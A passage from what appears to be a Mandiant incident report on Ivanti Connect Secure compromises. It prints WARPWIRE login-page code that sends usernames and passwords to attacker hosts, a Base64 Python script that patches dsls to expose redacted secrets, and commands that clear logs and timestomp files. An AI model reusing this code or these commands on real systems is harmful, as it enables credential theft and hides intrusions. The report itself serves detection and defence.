style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"><table border="1px" cellpadding="16px" style="border-collapse:collapse"><colgroup><col><col><col></colgroup> <tbody> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><strong style="vertical-align:baseline">Command ID</strong></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><strong style="vertical-align:baseline">Operation</strong></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><strong style="vertical-align:baseline">Description</strong></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">1</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">File Upload</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">The command contains the file path and which content to be sent to the connected host.</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">2</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">File Download</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">The command contains the file path and its content to be saved on the compromised system.</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">3</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Reverse Shell</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">A reverse shell is created using </span><code style="vertical-align:baseline">/bin/sh</code><span style="vertical-align:baseline"> and the provided command is executed</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">4</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Proxy Server</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Creates a proxy server with an IP address provided as part of the command.</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">5</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Tunneling Server</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Implements a tunneling server, capable of simultaneously dispatching traffic between multiple endpoints.</span></p> </td> </tr> </tbody> </table></div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> <p style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em><span style="vertical-align:baseline">Table 1: ZIPLINE command ID</span></em></span></p> <p>The message must be formatted in the same way as the previous one with only the first 3 bytes being meaningful (the length and the command).</p> <h4>Additional Findings</h4> <p>ZIPLINE is designed to fork itself twice and continue on its child processes. It also uses the <code>setsid</code> command to create a new session for its process, which effectively detaches it from any controlling terminal. Additionally, the malware closes the open handles except for the one associated with the current connection. The <code>web</code> process must be able to handle the <code>SIGALRM</code> signal because the malware executes the <code>alarm</code> command on a couple of occasions (delayed by three seconds). Additionally, the <code>web</code> process terminates itself after executing the specified command, which implies that it would be respawned by the ZIPLINE malware ecosystem on the compromised host in order to keep listening for incoming traffic.</p> <h3>WARPWIRE Variants</h3> <p>Mandiant has identified multiple new variants of <u>WARPWIRE</u> across our response engagements and in the wild. Across these variants, the primary purpose of them has remained to target plaintext passwords and usernames for exfiltration to a hard-coded C2 server.</p> <p>The main change across these variants is how credentials are submitted to the hard-coded C2. In the majority of identified variants, the GET request has been replaced with a POST that submits the credentials in either the POST params or body, however, Mandiant has also identified variants that still utilize a GET request but now include the <code>window.location.href</code> as a submitted value. </p> <p>Based on the number of variants identified as well as suspected mass exploitation of the related vulnerabilities, Mandiant does not currently attribute all WARPWIRE variants to UNC5221. Figure 15-18 shows excerpts of select WARPWIRE samples.</p> </div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><div> <pre><code>var ivanti = document.frmLogin.username.value; var login = document.frmLogin.password.value; var action = window.location.href; if (ivanti!=="" && login!=="") { var ivanti = btoa(ivanti); var login = btoa(login); var action = btoa(action); const url = "https://duorhytm[.]fun/"; var xhr = new XMLHttpRequest(); xhr.open("POST", url, false); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); var params ="ivanti="+ivanti +"&login="+ login+"&action="+action; xhr.send(params);</code></pre> </div> <div style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em>Figure 15: WARPWIRE variant</em></span></div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><div> <pre><code>var a = document.frmLogin.username.value; var b = document.frmLogin.password.value; var c = window.location.href; if (a !== "" && b !== "") { var aEncoded = btoa(a); var bEncoded = btoa(b); var cEncoded = btoa(c); const url = "https://clicko[.]click/?a=" + aEncoded + "&b=" + bEncoded + "&c=" + cEncoded; var xhr = new XMLHttpRequest(); xhr.open("GET", url, false); xhr.send(null);</code></pre> </div> <div style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em>Figure 16: WARPWIRE variant</em></span></div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><div> <pre><code> var uParam = document.frmLogin.username.value; var pParam = document.frmLogin.password.value; if (uParam && pParam) { var xhr = new XMLHttpRequest(); const url = `https://www.miltonhouse[.]nl/pub/opt/processor.php` const body = `h=${btoa(document.location.hostname)}&u =${btoa(uParam)}&p=${btoa(pParam)}`; xhr.open('POST', url, true); xhr.setRequestHeader ('Content-type', 'application/x-www-form-urlencoded'); xhr.send(body);</code></pre> </div> <div style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em>Figure 17: WARPWIRE variant</em></span></div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><div> <pre><code> var ivanti = document.frmLogin.username.value; var login = document.frmLogin.password.value; var action = window.location.href; if (ivanti!=="" && login!=="") { var ivanti = btoa(ivanti); var login = btoa(login); var action = btoa(action); const url = "https://cpanel.netbar[.]org/assets/js/xml.php"; var xhr = new XMLHttpRequest(); xhr.open("POST", url, false); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); var params ="ivanti="+ivanti +"&login="+ login+"&action="+action; xhr.send(params); }</code></pre> </div> <div style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em>Figure 18: WARPWIRE variant</em></span></div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><h3>Usage of Open-Source Tooling</h3> <p>Across our incident response engagements, Mandiant identified multiple open-source tools utilized to support post-exploitation activity on Ivanti CS appliances. These tools were associated with internal network reconnaissance, lateral movement, and data exfiltration within a limited number of victim environments.<br><br></p> <div align="left"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"><table border="1px" cellpadding="16px" style="border-collapse:collapse"><colgroup><col><col></colgroup> <thead> <tr> <th style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><strong style="vertical-align:baseline">Tool Name </strong></p> </th> <th style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><strong style="vertical-align:baseline">Description</strong></p> </th> </tr> </thead> <tbody> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">IMPACKET</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">IMPACKET is a Python library that allows for interaction with various network protocols. It is particularly effective in environments that rely on Active Directory and related Microsoft Windows network services.</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">CRACKMAPEXEC</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">CRACKMAPEXEC is a post-exploitation tool against Microsoft Windows environments. It is recognized for its lateral movement capabilities.</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">IODINE</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">IODINE is a network traffic tunneler that allows for tunneling of IPv4 traffic over DNS.</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">ENUM4LINUX</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">ENUM4LINUX is a Linux Perl script for enumerating data from Windows and Samba hosts.</span></p> </td> </tr> </tbody> </table></div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> <p style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em><span style="vertical-align:baseline">Table 2: Open source tooling identified</span></em></span></p> <h3>Additional TTPs</h3> <h4>Configuration and Cache Theft</h4> <p>Mandiant has identified evidence consistent with dumping the running configuration and cache after the initial exploitation of an CS appliance using the built-in <code>dsls</code> command found on CS appliances. The resulting output is saved to a <code>tar</code> archive masquerading as a randomly generated 10-character CSS file within the directory: <code>/home/webserver/htdocs/dana-na/css/</code>. </p> <p>We have identified the following sequence of commands (Figure 19) executed on a compromised appliance to dump the cache and configuration into the CSS directory.</p> </div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><div> <pre><code>export LD_LIBRARY_PATH=/lib:/home/lib; export PATH=/bin:/usr/bin:/sbin:/usr/sbin:/home/bin; echo ZnJvbSBiYXNlNjQgaW1wb3J0IGI2NGVuY29kZSBhcyBlCmY 9b3BlbignL2hvbWUvYmluL2RzbHMnLCdyYicpCmM9Zi5yZWFkKC kKZi5jbG9zZSgpCnA9Yy5maW5kKGJ5dGVzLmZyb21oZXgoJzhkY mQ2MGZmZmZmZicpKQppZiBwPjA6CiBkPWJ5dGVhcnJheShjKQ ogaWYgZFtwLTJdPT0weDc0OgogIGRbcC0yXT0weGViCiAgZj1vcG VuKCcvdG1wL3Rvb2xzJywnd2InKQogIGYud3JpdGUoZCkKICBmL mNsb3NlKCkKICBzPSdmJwogZWxzZToKICBzPSdpJwplbHNlOgo gcz0nbicKcHJpbnQocyxlbmQ9Jycp |base64 -d|/home/venv3/bin/python; chmod +x /tmp/tools; /tmp/tools -S -R -B /vc >/tmp/test1.txt; rm -rf /tmp/tools; touch /tmp/testt -r /home/webserver/htdocs/dana-na/css; mount -o rw,remount /; tar czf /home/webserver/htdocs/dana-na/css/<REDACTED>.css /tmp/test1.txt; rm -rf /tmp/test1.txt;</code></pre> </div> <div style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em>Figure 19: Command sequence to dump the cache and configuration</em></span></div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>The command sequence executes a Base64-encoded Python script that writes a patched version of the <code>dsls</code> binary (<code>/home/bin/dsls</code>) into <code>/tmp/tools</code>. At a high level, the patched binary allows the <code>dsls</code> command to display sensitive information that is typically redacted. Figure 20 shows the Base64-decoded Python script.</p></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><div> <pre><code>from base64 import b64encode as e f=open('/home/bin/dsls','rb') c=f.read() f.close() p=c.find(bytes.fromhex('8dbd60ffffff')) if p>0: d=bytearray(c) if d[p-2]==0x74: d[p-2]=0xeb f=open('/tmp/tools','wb') f.write(d) f.close() s='f' else: s='i' else: s='n' print(s,end='')</code></pre> </div> <div style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em>Figure 20: Base64-decoded Python script</em></span></div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>The script looks for the byte sequence <code>0x8dbd60ffffff</code> within the file <code>/home/bin/dsls</code>. This is a legitimate executable on Ivanti Connect Secure appliances used for displaying the running configuration and cache information. If the byte sequence is found (<code>p>0</code>), it creates a byte array (<code>d</code>) from the file contents (<code>c</code>) for further modification.</p> <p>The logic then checks if the byte 2 positions before the found byte sequence (<code>p-2</code>) is equal to <code>0x74</code>. If it is equal to <code>0x74</code>, it replaces that byte with <code>0xeb</code>. Lastly, the script rewrites the modified byte array into <code>/tmp/tools</code>. </p> <p>The modification of the binary turns a conditional <code>JMP</code> instruction (<code>0x74</code>) into an unconditional <code>JMP</code> (<code>0xeb</code>). The patch forces the execution flow to bypass a check in the legitimate <code>dsls</code> binary responsible for redacting sensitive data. This allows for the patched binary to display the value of fields that is typically redacted in the output with <code><secure></code>.</p> <p>The command sequence continues to do the following:</p> <ol> <li>Execute <code>/tmp/tools</code> (patched version of <code>/home/bin/dsls</code>) to dump the configuration and cache to <code>/tmp/test1.txt</code> </li> <li>Remove <code>/tmp/tools</code> </li> <li>Create an empty file <code>/tmp/testt</code> with the modified and access timestamps of <code>/home/webserver/htdocs/dana-na/css/</code>. This will be used later to timestomp the CSS directory with its original timestamps. </li> <li>Remount the file system as read-write</li> <li>Archive the dump into a CSS file within <code>/home/webserver/htdocs/dana-na/css/</code></li> <li>Delete <code>/tmp/test1.txt</code></li> </ol> <p>Mandiant identified efforts to remove evidence of compromise after the configuration and cache dump were downloaded from the server by the threat actor. The command sequence in Figure 21 was issued by exploiting CVE-2023-46805 and CVE-2024-21887.</p></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><div> <pre><code>rm -rf /home/webserver/htdocs/dana-na/css/<REDACTED>.css; touch -r /tmp/testt /home/webserver/htdocs/dana-na/css; rm -rf /tmp/testt; echo > /data/var/dlogs/config_rest_server.log; mount -o ro,remount/</code></pre> </div> <div style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em>Figure 21: Command sequence to cover up evidence of compromise</em></span></div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>The command sequence does the following:</p> <ol> <li>Delete the staged configuration and cache dump</li> <li>Timestomp the CSS directory with the modified and access timestamps of <code>/tmp/testt</code></li> <li>Clear the <code>config_rest_server.log</code> file that would record exploitation attempts of CVE-2023-46805 and CVE-2024-21887</li> <li>Remount the file system in read-only mode, reverting it back to its original state</li> </ol> <p>Additionally, we have identified the configuration and dump being saved to compressed files located in the following paths:</p> <ul> <li><code>/runtime/webserver/htdocs/dana-na/help/logo.gif</code></li> <li><code>/runtime/webserver/htdocs/dana-na/help/login.gif</code></li> </ul> <p>Ivanti has published additional <a href="https://forums.ivanti.com/s/article/Recovery-Steps-Related-to-CVE-2023-46805-and-CVE-2024-21887?language=en_US" rel="noopener" target="_blank"><u>guidance</u></a> on remediating the risk resulting from the cache and configuration dump. This includes resetting local account credentials, resetting API keys, and the revocation of certificates.</p> <h4>CAV Web Server Log Exfiltration</h4> <p>Mandiant has identified evidence of exfiltration of the CAV web server logs staged in <code>/runtime/webserver/htdocs/dana-na/help/logo.gif</code>. The path does not legitimately contain <code>logo.gif</code>.</p></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><div> <pre><code>/usr/bin/printf 'GIF'>/home/webserver/htdocs/dana-na/help/logo.gif; /usr/bin/printf 'GIF'>/home/webserver/htdocs/dana-na/help/logo.gif; cat /data/var/dlogs/cav_webserv.log|/usr/bin/base64>>/home/ webserver/htdocs/dana-na/help/logo.gif</code></pre> </div> <div style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em>Figure 22: Command sequence leading to exfiltration of the CAV web server logs</em></span></div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>The command redirects the GIF header into <code>logo.gif</code> and then appends the Base64-encoded contents of <code>/data/var/dlogs/cav_webserv.log</code> into the same file.</p> <p><code>cav_webserv.log</code> contains web requests and logs maintained by uWSGI for the CAV REST API. Mandiant has identified multiple modifications to the associated CAV Python package to include web shells such as WIREFIRE, CHAINLINE, and FRAMESTING. Any requests to those web shells would be logged in this file.</p> <h4>ICT Manipulation</h4> <p>The system's internal integrity checker tool can help detect modifications or additions made to the file system. Mandiant has identified instances where the external ICT detected a modification to a Python package associated with the internal ICT: <code>/home/venv3/lib/python3.6/site-packages/scanner-0.1-py3.6.egg</code>. </p> <p>We identified a single line commented out in <code>scanmgr.py</code> that disables the execution of the scanner.</p></span></section><section class="QzPuud"><div><section><figure class="NEBdNd"><section class="PBkdHd DhGbH" jscontroller="SCGBie" jsaction="rcuQ6b:npT2md"><img class="JcsBte mZzdH ZOnyjc" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig23.max-1600x1600.png" alt="https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig23.max-1600x1600.png" jsname='P3Vluc' jsaction="click:HTIlC" loading="lazy"/><section class="glue-modal glue-modal--dark QHdDac" role="dialog" aria-modal="true"><img class="JcsBte mZzdH ZOnyjc" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig23.max-1600x1600.png" alt="https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig23.max-1600x1600.png" jsname='P3Vluc' jsaction="click:HTIlC" loading="lazy"/><button class="glue-modal__close-btn" tabindex="0" aria-label="Close this modal"></button></section></section></figure><div class="nRhiJb-cHYyed nRhiJb-DbgRPb-R6PoUb-ma6Yeb ZpqjUe"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>Figure 23: Scanner execution commented out in scanmgr.py</p></span></div></section></div></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>Additionally, Volexity published a <a href="https://www.volexity.com/blog/2024/01/18/ivanti-connect-secure-vpn-exploitation-new-observations/" rel="noopener" target="_blank"><u>blog post</u></a> on Jan. 18, 2024 detailing another method leveraged to tamper with the built-in integrity checker tool on a compromised Ivanti Connect Secure appliance.</p> <p>Mandiant has observed threat actors tampering with the internal ICT by modifying the manifest file located at <code>/home/etc/manifest</code>. This file maintains a list of the expected files on the system and its associated SHA256 hash. The internal ICT verifies the manifest file’s signature using a public key.</p> <p>In some instances, the threat actor failed to create a new digital signature of the manifest file. This causes the internal ICT to fail and generates event ID <code>SYS32042</code> in the system event log, indicating that the manifest file is bad.</p> <p>The full list of event IDs associated with the integrity checker tool can be found in Table 3.<br><br></p> <div align="left"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"><table border="1px" cellpadding="16px" style="border-collapse:collapse;margin-left:auto;margin-right:auto"><colgroup><col><col></colgroup> <thead> <tr> <th style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><strong style="vertical-align:baseline">Event ID</strong></p> </th> <th style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><strong style="vertical-align:baseline">Summarized Description</strong></p> </th> </tr> </thead> <tbody> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">SYS32039</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">New files were found with the Internal Integrity Check Tool.</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">SYS32040</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">A modified file was found with the Internal Integrity Check Tool.</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">SYS32041</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">The Integrity Check Tool manifest file is missing.</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">SYS32042</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">The Integrity Checker Tool manifest file is bad.</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">SYS32087</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">A built-in integrity scan has started.</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span 